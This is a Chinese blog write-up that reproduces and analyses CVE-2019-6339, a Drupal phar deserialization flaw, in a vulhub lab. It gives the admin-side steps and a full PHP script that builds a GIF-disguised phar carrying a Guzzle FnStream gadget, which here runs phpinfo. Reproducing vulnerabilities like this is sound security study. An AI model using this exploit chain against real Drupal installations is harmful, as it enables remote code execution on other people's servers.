cve-2019-6339复现

2019年12月7日 0 作者 y1nhui

前言

无事复现复现漏洞,正好想搞搞RCE,就在vulhub上找到了这个洞。本次参考的是知道创宇404实验室的师傅们的文章

漏洞复现

环境准备

vulhub启动,载入目录:
docker-compose up -d
vulhub映射到的端口为8080,直接去访问,之后跟着流程正常安装即可

内容

这里我们直接进入,可以看到为一个正常访问界面
QFMRIA.md.png
先按照vulhub上面写的,用管理员账户登录。
用了一下这个poc
将poc图片传为头像
QFYL8J.md.png
Drupal似乎是将上传文件默认储存在
/sites/default/files/type/time中,但是直接复制图片地址的话就是http://106.52.127.218:8080/sites/default/files/styles/thumbnail/public/pictures/time中。
因为这个环境我们使用docker起的,我暂时不知道该如何确认,所以就按参考文章来,文件存于sites/default/files/type/time中。
接着我们访问连接http://106.52.127.218:8080/admin/config/media/file-system在这一界面中存在一输入 temporary directory,我们输入一个phar:,即phar://./sites/default/files/pictures/2019-11/blog-ZDI-CAN-7232-cat_0.jpg(注:此处记得目录写自己的目录,time值不改的话铁报错)
之后save一下,页面刷新之后就可以看到漏洞复现成功
QFUwv9.md.png

漏洞分析

环境准备

漏洞分析的话就不能用docker镜像了,因为我对这东西操作不熟,我从官网上下个历史版本来用。
8.5.0

内容

走流程注册后,我们正常上传一个图片,看一下他的存储位置
QEFcDA.md.png
QEF7uj.md.png
确实为sites/default/files/type/time

\core\modules\system\system.module中查看file system功能。
QQnFiV.md.png
这里我们可以看到它直接使用了一个is_dir,而正好,这个函数是受phar扩展反序列化攻击影响的。
这里因为如果直接使用$o -> data = 'phpinfo()';这样的代码,然后phar读取的话只会获得一个报错:

The directory xxx exists but is not writable and

需要使用Guzzle中的call_user_fun函数将phpinfo导入。
最终payload:

<?php

namespace GuzzleHttp\Psr7{
    class FnStream{

        public $_fn_close = "phpinfo";

        public function __destruct()
        {
            if (isset($this->_fn_close)) {
                call_user_func($this->_fn_close);
            }
        }
    }
}

namespace{
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new \GuzzleHttp\Psr7\FnStream();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
}
?>

总结

本次漏洞分析的时候遇到了一个问题,Drupal用的是php7语法,与php5相比多了许多东西,比如namespace之类的。同时需要安装一些额外的模块(GuzzleHttp),安装的过程有需要下载compose,这个过程其实挺顶的。
至于漏洞本身,抛去这些复杂的地方,其实也只是一个phar反序列化漏洞,还算比较简单。同时这是一个后台rce,只有有管理员权限才能成功,可以说是个废洞了= =

参考资料:
https://paper.seebug.org/897/
https://www.drupal.org/sa-core-2019-002